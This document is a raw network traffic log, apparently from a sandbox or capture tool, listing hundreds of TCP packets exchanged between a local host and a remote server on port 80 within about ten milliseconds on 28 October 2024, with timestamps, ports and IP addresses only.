Oct 28, 2024 20:50:27.558465958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558480978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558490992 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558496952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558515072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558546066 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558619976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558634996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558650017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558665991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558684111 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558684111 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558692932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558708906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558729887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558744907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558763981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558763981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558769941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558785915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558794022 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558800936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558818102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558831930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558840990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558849096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558864117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558878899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558893919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558893919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558893919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558917046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558922052 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558933973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558949947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558964014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558974981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558979034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558994055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559010029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559016943 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559016943 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559026003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559041023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559055090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559055090 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559072018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559086084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559103012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559111118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559111118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559118032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559134960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559149027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559165955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559178114 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559178114 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559180975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559197903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559212923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559228897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559231043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559231043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559245110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559259892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559274912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559289932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559302092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559302092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559305906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559331894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559343100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559348106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559364080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559377909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559396029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559396029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559406042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559421062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559436083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559449911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559465885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559483051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559483051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559555054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559571981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559586048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559602976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559618950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559619904 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559619904 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559633970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559660912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559676886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559679031 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559679031 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559691906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559708118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559721947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559736967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559736967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559777975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559792042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559808016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559822083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559837103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559851885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559853077 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559853077 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559866905 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559890032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559900999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559900999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559906006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559921026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559936047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559952021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559961081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559961081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.559969902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559984922 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.559998989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560014009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560029030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560035944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560035944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560044050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560067892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560077906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560077906 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560084105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560098886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560116053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560129881 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560151100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560168028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560168982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560168982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560183048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560190916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560205936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560208082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560223103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560240030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560246944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560246944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560256958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560272932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560300112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560314894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560324907 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560324907 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560332060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560347080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560362101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560376883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560389996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560389996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560394049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560409069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560425997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560444117 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560444117 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560488939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560563087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560578108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560590982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560590982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560610056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560625076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560642004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560656071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560659885 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560659885 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560672045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560687065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560694933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560702085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560720921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560739040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560765028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560775995 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560800076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560806990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560806990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.560817003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560836077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.560863018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.562340021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.562452078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.562504053 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.565937996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.565953970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.565969944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.565987110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566010952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566010952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566617966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566694975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566730022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566745043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566760063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566781044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566787004 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566807032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566822052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566837072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566839933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566850901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566875935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566890955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566899061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566905975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566914082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566917896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566917896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.566920996 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566930056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.566937923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567032099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567047119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567063093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567078114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567092896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567092896 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567095041 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567111015 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567126989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567142010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567147017 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567147017 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567157984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567181110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567194939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567209959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567213058 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567214012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567234993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567250013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567250967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567265034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567279100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567295074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567293882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567320108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567336082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567337990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567351103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567368031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567383051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567399025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567408085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567408085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567414999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567456007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567456007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567467928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567512989 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567531109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567548037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567563057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567576885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567588091 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567588091 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567593098 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567611933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567632914 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567637920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567648888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567666054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567681074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567693949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567697048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567697048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567711115 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567733049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567747116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567747116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567748070 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567763090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567776918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567794085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567809105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567821026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567821026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567823887 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567840099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567852974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567867994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567871094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567871094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567892075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567905903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567923069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567939997 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567945004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567960024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567975044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567990065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.567992926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.567992926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568006039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568015099 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568023920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568038940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568067074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568079948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568079948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568082094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568121910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568136930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568151951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568161964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568176985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568192959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568207026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568222046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568232059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568232059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568237066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568253994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568267107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568276882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568276882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568283081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568309069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568315029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568331957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568346024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568361044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568375111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568391085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568393946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568393946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568406105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568449020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568449020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.568465948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568487883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.568502903 CET	80	52257	185.215.113.16	192.168.2.5
